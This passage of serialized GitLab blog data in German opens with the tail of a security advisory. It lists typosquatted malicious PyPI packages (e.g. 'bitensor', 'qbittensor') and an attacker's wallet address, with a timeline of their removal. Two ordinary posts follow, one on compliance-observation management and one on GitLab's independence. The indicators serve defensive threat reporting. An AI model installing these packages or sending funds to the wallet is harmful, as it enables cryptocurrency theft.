`pkg:pypi/bitensor@9.9.4`                          | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/qbittensor@9.9.4`                        | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/bittenso-cli@9.9.4`                      | Bösartiges PyPI-Paket                                             |\n\n\n\\| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |\n\n\n## Zeitachse\n\n\n\\| Datum & Uhrzeit      | Aktion                                                                                        |\n\n\n\\| -------------------- | --------------------------------------------------------------------------------------------- |\n\n\n\\| **2025-08-06T06:33** | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |\n\n\n\\| **2025-08-06T09:42** | `bittenso@9.9.5` an PyPi.org gemeldet                                                         |\n\n\n\\| **2025-08-06T09:46** | `bitensor@9.9.5` an PyPi.org gemeldet                                                         |\n\n\n\\| **2025-08-06T09:47** | `bitensor@9.9.4` an PyPi.org gemeldet                                                         |\n\n\n\\| **2025-08-06T09:49** | `qbittensor@9.9.4` an PyPi.org gemeldet                                                       |\n\n\n\\| **2025-08-06T09:51** | `bittenso-cli@9.9.4` an PyPi.org gemeldet                                                     |\n\n\n\\| **2025-08-06T15:26** | PyPi.org entfernte `bittenso@9.9.5`                                                           |\n\n\n\\| **2025-08-06T15:27** | PyPi.org entfernte `bitensor@9.9.5`                                                           |\n\n\n\\| **2025-08-06T15:27** | PyPi.org entfernte `bitensor@9.9.4`                                                           |\n\n\n\\| **2025-08-06T15:28** | PyPi.org entfernte `qbittensor@9.9.4`                                                         |\n\n\n\\| **2025-08-06T15:28** | PyPi.org entfernte `bittenso-cli@9.9.4`                                                       |\n",[775],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":800,"slug":1155},"gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"content":1157,"config":1166},{"title":1158,"description":1159,"authors":1160,"heroImage":1111,"date":1162,"body":1163,"category":775,"tags":1164},"Wie du das Management von Compliance-Beobachtungen mit GitLab transformierst","Erfahre, wie das Security-Compliance-Team von GitLab das Beobachtungsmanagement mithilfe der DevSecOps-Plattform verbessert hat und dabei Transparenz, Zusammenarbeit und Verantwortlichkeit gesteigert hat.",[1161],"Madeline Lake","2025-07-24","Eine Beobachtung ist ein Compliance-Befund oder eine Schwachstelle, die während der Kontrollüberwachung identifiziert wird. Im Wesentlichen handelt es sich um eine Lücke zwischen Soll und Ist deiner Sicherheitskontrollen. Beobachtungen entstehen aus drei Hauptquellen: Designmängel, bei denen die Kontrolle nicht ordnungsgemäß strukturiert ist. Probleme mit der Betriebseffektivität, bei denen die Kontrolle existiert, aber nicht wie vorgesehen funktioniert. Oder Beweislücken, bei denen erforderliche Dokumentation fehlt.\n\nDiese Beobachtungen entstehen aus unserem vierteljährlichen Kontrollüberwachungsprozess. Dabei bewerten wir systematisch die Effektivität von Sicherheitskontrollen für unsere Zertifizierungen (SOC 2, ISO 27001 usw.). Zusätzlich können Beobachtungen aus externen Audits durch unabhängige Prüfer(innen) resultieren.\n\nBeobachtungsmanagement ist der Prozess, mit dem wir diese Beobachtungen von der Identifizierung über die Behebung bis zum Abschluss verwalten. In diesem Artikel erfährst du, wie das GitLab-Sicherheitsteam die DevSecOps-Plattform nutzt, um Beobachtungen zu verwalten und zu beheben, und welche Effizienzsteigerungen wir dadurch erzielt haben.\n\n## Der GitLab-Beobachtungslebenszyklus: Von der Identifizierung zur Lösung\n\nDer Lebenszyklus einer Beobachtung umfasst den gesamten Prozess von der ersten Identifizierung durch Compliance-Ingenieur(innen) bis zur abgeschlossenen Behebung durch Behebungsverantwortliche. Dieser Lebenszyklus ermöglicht transparente Echtzeit-Statusberichte, die für alle Beteiligten leichter zu verstehen und zu verfolgen sind.\n\nHier sind die Phasen des Beobachtungslebenszyklus:\n\n**1. Identifizierung**\n\n* Compliance-Ingenieur(innen) identifizieren potenzielle Beobachtungen während der vierteljährlichen Überwachung.  \n* Eine erste Validierung erfolgt, um zu bestätigen, dass der Befund eine echte Kontrolllücke darstellt.  \n* Die detaillierte Dokumentation beginnt sofort in einem GitLab-Issue.  \n* Die Grundursache der Beobachtung wird ermittelt und ein Behebungsplan zur Behebung der Grundursache wird erstellt.\n\n**2. Validierung**\n\n* Das Issue wird dem/der entsprechenden Behebungsverantwortlichen zugewiesen (normalerweise eine Teamleitung oder Abteilungsleiter(in)).  \n* Der/die Behebungsverantwortliche überprüft und bestätigt, dass er/sie die Verantwortung versteht und akzeptiert.  \n* Der Behebungsplan wird bei Bedarf gemeinsam überprüft, priorisiert und aktualisiert.\n\n**3. In Bearbeitung**\n\n* Die aktive Behebungsarbeit beginnt mit klaren Meilensteinen und Fristen.  \n* Regelmäßige Updates werden über GitLab-Kommentare und Statusänderungen bereitgestellt.  \n* Die Zusammenarbeit erfolgt transparent, sodass alle Beteiligten den Fortschritt sehen können.\n\n**4. Behoben**\n\n* Der/die Behebungsverantwortliche markiert die Arbeit als abgeschlossen und stellt Nachweise zur Verfügung.  \n* Das Issue geht zur Compliance-Überprüfung zur Validierung über.\n\n**5. Lösung**\n\n* Compliance-Ingenieur(innen) verifizieren, dass die Abschlusskriterien erfüllt sind.  \n* Das Issue wird mit finaler Dokumentation geschlossen.  \n* Erkenntnisse werden für zukünftige Prävention erfasst.\n\n**Alternative Pfade** behandeln blockierte Arbeiten, Risikoakzeptanzentscheidungen und stagnierende Behebungsbemühungen mit entsprechenden Eskalations-Workflows.\n![Beispiel eines Beobachtungslebenszyklus](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\n\u003Ccenter>\u003Ci>Beispiel eines Beobachtungslebenszyklus\u003C/i>\u003C/center>\n\n## Die Macht der Transparenz in GitLab\n\nEffektives Management von Compliance-Befunden sollte keine Detektivarbeit erfordern. Grundlegende Informationen wie Eigentümerschaft, Status oder Priorität sollten sofort ersichtlich sein. Dennoch erleben die meisten Organisationen folgendes Szenario: Compliance-Teams jagen Updates hinterher. Operative Teams kennen ihre Verantwortlichkeiten nicht. Die Führungsebene hat keine Sichtbarkeit auf tatsächliche Risiken – bis zur Audit-Saison.\n\nDas Security-Compliance-Team bei GitLab stand vor genau diesen Problemen. Unser Team nutzte zunächst ein dediziertes GRC-Tool als zentrale Datenquelle für ausstehende Befunde. Doch wichtige Stakeholder hatten keine Sichtbarkeit. Das Ergebnis: Nur minimale Behebungen fanden statt. Das Team verbrachte seine Zeit mit administrativen Aufgaben, anstatt Behebungsbemühungen zu leiten.\n\nUnsere Lösung: Wir verlagerten das Management direkt in GitLab-Issues innerhalb eines dedizierten Projekts. Dieser Ansatz verwandelt Compliance-Befunde in sichtbare, umsetzbare Arbeitselemente. Sie integrieren sich natürlich in Entwicklungs- und Betriebs-Workflows. Jeder Stakeholder kann sehen, was Aufmerksamkeit benötigt. Teams können bei Behebungsplänen zusammenarbeiten und den Fortschritt in Echtzeit verfolgen.\n\n### Intelligente Organisation durch Labels und Issue Boards\n\nGitLab ermöglicht es Teams, Beobachtungs-Issues in mehrere Organisationsansichten zu kategorisieren. Das Security-Compliance-Team verwendet Folgendes zur Kategorisierung von Beobachtungen:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated`  \n* **Abteilung:** `~dept::engineering`, `~dept::security`, `~dept::product`   \n* **Risikoschwere:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low`  \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems`   \n* **Programm:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nDiese Labels werden dann genutzt, um Issue Boards zu erstellen:\n\n* **Workflow-Boards** visualisieren die Phasen des Beobachtungslebenszyklus.  \n* **Abteilungs-Boards** zeigen die Behebungsarbeitslast jedes Teams.  \n* **Risikobasierte Boards** priorisieren kritische Befunde, die sofortige Aufmerksamkeit erfordern.  \n* **System-Boards** visualisieren Beobachtungen nach System.  \n* **Programm-Boards** verfolgen die zertifizierungsspezifische Beobachtungslösung.\n\nLabels ermöglichen leistungsstarke Filter- und Berichtsfunktionen und unterstützen gleichzeitig automatisierte Workflows durch unsere Triage-Bot-Richtlinien. Weitere Details zu unserer Automatisierungsstrategie findest du im Abschnitt Automatisierung.\n\n## Automatisierung: Intelligenter arbeiten, nicht härter\n\nDie Verwaltung von Dutzenden von Befunden über mehrere Zertifizierungen hinweg erfordert intelligente Automatisierung. Das Security-Compliance-Team nutzt den Triage-Bot – ein Open-Source-Projekt, das in GitLab gehostet wird. Das Triage-Bot-Gem ermöglicht es Projektmanager(inne)n, Issues automatisch zu triagieren. Die Triagierung basiert auf definierten Richtlinien in GitLab-Projekten oder -Gruppen.\n\nInnerhalb des Beobachtungsmanagement-Projekts haben wir Richtlinien geschrieben, um sicherzustellen, dass jedes Issue eine(n) Zugewiesene(n) hat, jedes Issue erforderliche Labels hat, Issues alle 30 Tage aktualisiert werden und blockierte und stagnierende Issues alle 90 Tage angestupst werden. Zusätzlich wird wöchentlich ein Zusammenfassungs-Issue erstellt, um alle Issues zusammenzufassen, die nicht unseren definierten Richtlinien entsprechen. Dies ermöglicht es Teammitgliedern, Issues effizient zu überwachen und weniger Zeit für administrative Aufgaben aufzuwenden.\n\n## Erfolgsmessung: Schlüsselmetriken und Berichterstattung\n\nGitLabs Roh-Issue-Daten lassen sich in umsetzbare Erkenntnisse umwandeln. Organisationen können aussagekräftige Insights aus verschiedenen Datenquellen extrahieren: Issue-Erstellungsdatum, Abschlussdatum, letztes Update und Labels. Die folgenden Metriken bieten einen umfassenden Überblick über die Effektivität deines Compliance-Managements:\n\n**Analyse der Lösungseffizienz:** Durchschnittliche Zeit von der Identifizierung bis zur Lösung nach Abteilung und Schweregrad.\n\nVerfolge Issue-Erstellungs- versus Abschlussdaten über Abteilungen und Schweregrade hinweg. Das identifiziert Engpässe und misst die Leistung gegen SLAs. So erkennst du, welche Teams bei schnellen Reaktionen hervorragend sind. Und welche zusätzliche Ressourcen oder Prozessverbesserungen benötigen.\n\n**Echtzeit-Risikobewertung:** Aktuelles Risikoprofil basierend auf offenen kritischen und hochriskanten Befunden.\n\nNutze Risikostufen-Labels für dynamische Visualisierungen der aktuellen Risikoexposition. Das bietet der Führungsebene sofortiges Verständnis: Welche kritischen Befunde erfordern dringend Aufmerksamkeit.\n\n**Strategische Ressourcenzuweisung:** Risikoverteilung auf Abteilungsebene für gezielte Verbesserungen.\n\nIdentifiziere, welche Abteilungen für Befunde mit dem höchsten Risiko verantwortlich sind. So priorisierst du Ressourcen, Aufsicht und Projekte richtig. Dieser datengesteuerte Ansatz fokussiert Verbesserungen dort, wo sie maximale Wirkung haben.\n\n**Überwachung der Compliance-Bereitschaft:** Zertifizierungsspezifische Beobachtungszahlen und Lösungsraten\n\nNutze Zertifizierungs-Labels, um die Audit-Bereitschaft zu bewerten und den Fortschritt bei Compliance-Zielen zu verfolgen. Diese Metrik bietet eine Frühwarnung vor potenziellen Zertifizierungsrisiken und validiert Behebungsbemühungen.\n\n**Verantwortlichkeitsverfolgung:** Überfällige Behebungen\n\nÜberwache die SLA-Einhaltung, um sicherzustellen, dass Beobachtungen rechtzeitig Aufmerksamkeit erhalten. Diese Metrik hebt systemische Verzögerungen hervor und ermöglicht proaktive Intervention, bevor kleine Probleme zu großen Problemen werden.\n\n**Engagement-Gesundheitsprüfung:** Beobachtungsaktualität\n\nVerfolge die jüngste Aktivität (Updates innerhalb von 30 Tagen), um sicherzustellen, dass Beobachtungen aktiv verwaltet und nicht vergessen werden. Diese Metrik identifiziert stagnierende Issues, die möglicherweise eine Eskalation oder Neuzuweisung erfordern.\n\n## Fortgeschrittene Strategien: Beobachtungsmanagement weiter vorantreiben\n\nHier ist, was du tun kannst, um die Wirkung des Beobachtungsmanagements in deiner Organisation zu vertiefen.\n\n**Integration mit Sicherheitstools**\n\nModernes Beobachtungsmanagement geht über manuelle Verfolgung hinaus, indem es sich mit deiner bestehenden Sicherheitsinfrastruktur verbindet. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren, um automatisch Beobachtungs-Issues zu generieren, wodurch manuelle Dateneingabe eliminiert und umfassende Abdeckung sichergestellt wird.\n\n**Prädiktive Analytik anwenden**\n\nModernes Compliance-Management geht über manuelle Verfolgung hinaus. Es verbindet sich mit deiner bestehenden Sicherheitsinfrastruktur. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren. Diese generieren automatisch Issues für Compliance-Befunde. Das eliminiert manuelle Dateneingabe und stellt umfassende Abdeckung sicher..\n\n**Anpassung für Stakeholder**\n\nEffektives Beobachtungsmanagement erkennt an, dass verschiedene Rollen unterschiedliche Perspektiven auf dieselben Daten erfordern. Rollenbasierte Dashboards liefern maßgeschneiderte Ansichten für Führungskräfte, die hochrangige Risikozusammenfassungen suchen, Abteilungsleiter(innen), die die Teamleistung verfolgen, und einzelne Mitwirkende, die ihre zugewiesenen Beobachtungen verwalten. Automatisierte Berichtssysteme können konfiguriert werden, um verschiedenen Zielgruppenbedürfnissen und Kommunikationspräferenzen zu entsprechen, von detaillierten technischen Berichten bis zu Executive Briefings. Self-Service-Analysefähigkeiten befähigen Stakeholder, Ad-hoc-Analysen durchzuführen und benutzerdefinierte Erkenntnisse zu generieren, ohne technisches Fachwissen oder Support zu benötigen.\n\n## Von bloßer Compliance zu operativer Exzellenz\n\nGitLabs Ansatz zum Compliance-Management stellt mehr als einen Toolwechsel dar. Es ist eine grundlegende Verschiebung: von reaktiver Compliance zu proaktiver Risikominderung. Das Aufbrechen von Silos zwischen Compliance-Teams und operativen Stakeholdern bringt beispiellose Transparenz. Gleichzeitig verbessern sich die Behebungsergebnisse dramatisch.\n\nDie Ergebnisse sind messbar: Schnellere Lösungen durch transparente Verantwortlichkeit. Aktive Stakeholder-Zusammenarbeit statt widerwilliger Teilnahme. Kontinuierliche Audit-Bereitschaft statt periodischer Hektik. Automatisierte Workflows befreien Compliance-Fachleute für strategische Arbeit. Reichhaltige Daten ermöglichen prädiktive Analysen. Der Fokus verschiebt sich von reaktiver Brandbekämpfung zu proaktiver Prävention.\n\nAm wichtigsten ist, dass dieser Ansatz Compliance von einer Last zu einem strategischen Befähiger erhebt. Wenn Beobachtungen zu sichtbaren, verfolgbaren Arbeitselementen werden, die in operative Workflows integriert sind, entwickeln Organisationen eine stärkere Sicherheitskultur und dauerhafte Verbesserungen, die über jeden einzelnen Audit-Zyklus hinausgehen. Das Ergebnis ist nicht nur regulatorische Compliance. Es ist organisatorische Resilienz und Wettbewerbsvorteil durch überlegenes Risikomanagement.\n\n> Möchtest du mehr über GitLabs Sicherheits-Compliance-Praktiken erfahren? Schau dir unser [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) für weitere Einblicke und Implementierungsanleitungen an.",[775,1165],"inside GitLab",{"featured":6,"template":800,"slug":1167},"how-to-transform-compliance-observation-management-with-gitlab",{"content":1169,"config":1172},{"title":833,"description":834,"authors":1170,"heroImage":837,"date":838,"body":839,"category":683,"tags":1171},[836],[841,764,824,796],{"featured":91,"template":800,"slug":843},[1174,1179,1184],{"content":1175,"config":1178},{"title":1017,"description":1018,"heroImage":1019,"authors":1176,"date":1022,"body":1023,"category":742,"tags":1177},[1021],[764,742,715],{"featured":91,"template":800,"slug":1026},{"content":1180,"config":1183},{"title":846,"description":847,"authors":1181,"heroImage":850,"date":851,"category":683,"tags":1182,"body":853},[849],[764,825,824],{"slug":855,"featured":91,"template":800},{"content":1185,"config":1188},{"date":1029,"category":742,"tags":1186,"body":1031,"authors":1187,"title":1034,"description":1035,"heroImage":1036},[742,764,715],[1033],{"featured":6,"template":800,"slug":1038},[1190,1195,1200],{"content":1191,"config":1194},{"title":1134,"description":1135,"authors":1192,"body":1138,"category":775,"tags":1193,"date":1140,"heroImage":1141},[950,1137],[775,764,824,841],{"featured":91,"template":800,"slug":1143},{"content":1196,"config":1199},{"heroImage":858,"body":859,"authors":1197,"updatedDate":862,"date":863,"title":864,"tags":1198,"description":866,"category":683},[861],[841,764,824,825],{"featured":91,"template":800,"slug":868},{"content":1201,"config":1210},{"title":1202,"description":1203,"authors":1204,"date":1206,"body":1207,"category":683,"tags":1208,"heroImage":1209},"Warum Unabhängigkeit in DevSecOps wichtiger ist denn je","Unternehmen hinterfragen, wer ihre Entwicklungsinfrastruktur wirklich kontrolliert. Deshalb gilt: GitLabs Unabhängigkeit ist relevanter denn je.\n",[1205],"Robin Schulman","2025-09-02","Seit über einem Jahrzehnt setzt sich GitLab für Transparenz, Unabhängigkeit und die Priorisierung von Entwickler(inne)n ein. Heute ist das wichtiger denn je, während sich die Branche weiterentwickelt. Unternehmensführungen stellen kritische Fragen: Wer kontrolliert letztendlich die Entwicklungsinfrastruktur? Wie wird der Code in KI-Systemen verwendet? Was passiert, wenn sich Anbieter-Prioritäten von kritischen Anforderungen wegbewegen?\n\nLetzten Monat [kündigten wir GitLab 18.3 an](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/), die neueste Version unserer KI-nativen DevSecOps-Plattform. Agent Insights, Teil der GitLab Duo Agent Platform, bietet Einblicke in die Entscheidungsprozesse der Agenten. Erweiterte KI-Modellunterstützung bedeutet keine Anbieterabhängigkeit. Verbesserte Governance-Kontrollen ermöglichen Compliance über mehrere Rechtsräume hinweg.\n\nDas sind nicht nur Funktionen. Es sind Beispiele für Transparenz, Unabhängigkeit und den entwicklerorientierten Ansatz, der GitLab definiert. So setzt sich diese Strategie in der Praxis um.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1115249475?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Who is GitLab_Robin_090225_FINAL\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## KI-Transparenz über den gesamten DevSecOps-Lebenszyklus\n\n**Bei GitLab adressiert unser jahrzehntelanges Engagement für Transparenz diese Bedenken direkt.** Da künstliche Intelligenz zunehmend in Entwicklungs-Workflows integriert wird, sind Organisationen zu Recht besorgt darüber, wie Code und Daten für KI-Training verwendet werden.\n\nDas GitLab [KI-Transparenzzentrum](https://about.gitlab.com/de-de/ai-transparency-center/), im April 2024 gestartet, bietet eine klare Dokumentation unserer Datenverarbeitungspraktiken, Datenschutzmaßnahmen und ethischen KI-Prinzipien. Im Gegensatz zu Plattformen, die KI-Funktionen mit unklaren Datennutzungsrichtlinien betreiben, priorisiert GitLab Transparenz, damit Kund(inn)en [genau verstehen, wie Daten verarbeitet werden](https://docs.gitlab.com/user/gitlab_duo/data_usage/), gespeichert und geschützt werden – ohne Training mit diesen Daten.\n\nUnser Ansatz erstreckt sich auf Modellflexibilität und Anbieterunabhängigkeit. Während einige Plattformen Kund(inn)en an einzelne Large Language Model (LLM)-Anbieter binden und damit zusätzliche Anbieterabhängigkeiten und potenzielle Single Points of Failure schaffen, werden GitLabs KI-Funktionen von verschiedenen Modellen unterstützt. Dieser Ansatz ermöglicht es uns, eine breite Palette von Anwendungsfällen zu unterstützen und bietet Kund(inn)en die Flexibilität, sich an strategischen Prioritäten auszurichten.\n\nBei der Weiterentwicklung der GitLab Duo Agent Platform bleiben wir auf Datenkontrolle fokussiert und behalten umfassende Human-in-the-Loop-Kontrollen bei. Und GitLab Duo Self-Hosted bietet vollständige Datensouveränität mit luftdichten Bereitstellungsoptionen, Zero-Day-Datenaufbewahrungsrichtlinien und der Möglichkeit, alle KI-Anfragen innerhalb der eigenen Infrastruktur zu verarbeiten.\n\nSeit Mai 2024 pflegen wir auch einen [KI-Kontinuitätsplan](https://handbook.gitlab.com/de-de/handbook/product/ai/continuity-plan/) mit einem branchenführenden Versprechen: die Fähigkeit, innerhalb von 30 Tagen ein neues Modell zu evaluieren und zu wechseln, falls ein Anbieter seine Praktiken bezüglich Kundendaten ändert. Dieser proaktive Ansatz zum KI-Anbieter-Risikomanagement spiegelt unser Engagement für Kundenkontrolle wider.\n\n## Wahlfreiheit bei Bereitstellung und Cloud-Anbieter\n\n**Organisationen sollten wählen können, wie und wo die DevSecOps-Umgebung bereitgestellt wird.** GitLab bietet echte Bereitstellungsflexibilität. Organisationen können zwischen On-Premises-Installationen, Multi-Tenant-SaaS oder GitLab Dedicated wählen, unserer vollständig verwalteten Single-Tenant-SaaS-Lösung, ohne auf Funktionalität zu verzichten oder künstlichen Einschränkungen ausgesetzt zu sein, die auf Ökosystem-Lock-in abzielen. GitLab ist auch Cloud-neutral, sodass Kund(inn)en den Cloud-Anbieter nutzen können, der am besten zu Geschäftsanforderungen und Umgebung passt.\n\nDiese Flexibilität erweist sich als unschätzbar wertvoll bei der Navigation durch komplexe rechtliche Anforderungen und regulatorische Herausforderungen. Wenn neue Datenlokalisierungsgesetze entstehen – wie wir es in der Europäischen Union und anderen Regionen gesehen haben – können Organisationen, die GitLab nutzen, ihre Bereitstellungsstrategien schnell anpassen, ohne durch Ökosystemabhängigkeiten eingeschränkt zu sein.\n\nAus Beschaffungs- und Risikomanagement-Perspektive bietet Plattformunabhängigkeit auch entscheidende Verhandlungsmacht bei Vertragsverhandlungen. Organisationen werden nicht in restriktive Lizenzvereinbarungen gezwungen, die Anbieterinteressen über Kundenbedürfnisse stellen. Diese Unabhängigkeit wird besonders kritisch, da Unternehmen wachsamer werden, wer ihren KI-Stack kontrolliert.\n\n## Sicherheit und Compliance: Eingebaut und immer Priorität\n\n**Sicherheit und Compliance sind jetzt genauso wichtig wie Entwicklungsfunktionen und sollten in die Plattform eingebaut sein, nicht nachträglich hinzugefügt.** GitLabs Single-Platform-Ansatz bietet erhebliche Vorteile gegenüber fragmentierten Plattformen, die auf Drittanbieter-Add-Ins angewiesen sind, um grundlegende Sicherheits- und Governance-Funktionen zu erreichen. Dieser architektonische Unterschied hat erhebliche Auswirkungen auf mögliche rechtliche Risiken, operative Effizienz und regulatorische Compliance. Jedes zusätzliche Tool in der Kette stellt einen weiteren potenziellen Fehlerquellen dar, weitere Geschäftsbedingungen, die verhandelt werden müssen, und eine weitere Risikoquelle.\n\nGitLab bietet umfassende eingebaute Sicherheits- und Compliance-Funktionen, einschließlich kundenspezifischer Compliance-Frameworks, dynamischem Application Security Testing (DAST), API-Fuzz-Testing, Coverage-Guided Fuzzing und Infrastructure-as-Code-Testing. Diese Funktionen sind nativ in die Plattform integriert und bieten konsistente Richtliniendurchsetzung und reduzieren die Compliance-Komplexität und zusätzlichen Kosten, die mit der Verwaltung mehrerer Drittanbieter-Tools verbunden sind.\n\nUnser [Compliance-Center](https://docs.gitlab.com/user/compliance/compliance_center/) bietet einen zentralen Ort für Teams, um ihre Compliance-Standards, Compliance-Berichte, Verstöße und Compliance-Frameworks für ihre Gruppe zu verwalten. Dieser einheitliche Ansatz für das Compliance-Management ist besonders wertvoll für Organisationen in stark regulierten Branchen, in denen Audit-Trails und Compliance-Dokumentation kritisch sind.\n\n## Nähe zur Open-Source-Community\n\n**Die besten Tools werden von den Menschen geprägt, die sie nutzen.** Unser Engagement für Open Source und die Zusammenarbeit mit unserer Community ist seit unserer Gründung Kern von GitLab. Beispielsweise ist unser [Co-Create-Programm](https://about.gitlab.com/community/co-create/) eine kollaborative Initiative, die es Kund(inn)en ermöglicht, direkt mit GitLab-Ingenieur(inn)en zusammenzuarbeiten, um Funktionen, Fixes und Verbesserungen zur GitLab-Plattform beizutragen.\n\nUnser Transparenzwert bleibt grundlegend für unser Geschäft. Ein Beispiel dafür ist unser [offener Issue-Tracker](https://gitlab.com/groups/gitlab-org/-/issues), in dem Kund(inn)en unseren Fortschritt verfolgen und direkt mit dem GitLab-Team in Diskussionen über Verbesserungsmöglichkeiten unseres Produkts eintreten können. Wir haben kürzlich unsere [Healthy Backlog Initiative](https://about.gitlab.com/de-de/blog/inside-gitlabs-healthy-backlog-initiative/) gestartet, um Kund(inn)en noch größere Einblicke in unsere Planung zu geben und ihr Feedback an Stellen mit der größten Wirkung zu lenken.\n\nUnser Ansatz ermöglicht es Organisationen, zu Open-Source-Innovation beizutragen und davon zu profitieren, während sie die Governance, Audit-Trails und Sicherheitskontrollen beibehalten, die für regulierte Umgebungen erforderlich sind.\n\n## Daten-Governance: Die Daten, die Kontrolle\n\n**Vollständige Kontrolle über Daten und deren Verarbeitung bleibt erhalten.** Daten-Governance ist zu einem immer kritischeren Faktor bei Unternehmensentscheidungen geworden, angetrieben durch ein komplexes Netz nationaler und regionaler Datenschutzgesetze und wachsende Bedenken über die Kontrolle sensibler geistiger Eigentumsrechte – wie Quellcode, Kundeneinblicke, strategische Initiativen und Wettbewerbsinformationen.\n\nMit GitLab kann verwaltet werden, wer Zugang zu KI-gestützten Funktionen innerhalb der Plattform hat, was über einfache Zugriffskontrollen hinausgeht und Verschlüsselungsstandards und Audit-Funktionen umfasst, die auf regulatorische Frameworks ausgerichtet sind. Außerdem werden Code und Daten von Kund(inn)en niemals zum Training von KI-Modellen verwendet.\n\n## Die Wahl ist klar\n\nGitLab führt weiterhin bei KI-nativer DevSecOps-Plattform-Innovation – unsere jüngste [18.3-Version](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/) zeigt dies – während wir den Unabhängigkeits- und Transparenzverpflichtungen treu bleiben, die uns immer geleitet haben.\n\nKund(inn)en haben eine Wahl und sie ist klar: Kontrolle behalten vs. Anbieterabhängigkeit; Transparenz vs. Unsicherheit; Engagement für Innovation vs. Launen des größeren Ökosystems.\n\nGitLab bietet die Grundlage für nachhaltige digitale Transformation, die Innovation mit Unabhängigkeit ausbalanciert und dabei hilft, Geschäftswert für Kund(inn)en zu erzielen.\n\n[GitLab Ultimate mit GitLab Duo heute kostenlos testen.](https://about.gitlab.com/de-de/free-trial/)",[841,715,764,824,897],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756500636/wmey6kqzzuhirk88w2de.png",{"featured":91,"template":800,"slug":1211},"why-enterprise-independence-matters-more-than-ever-in-devsecops",1758653895247]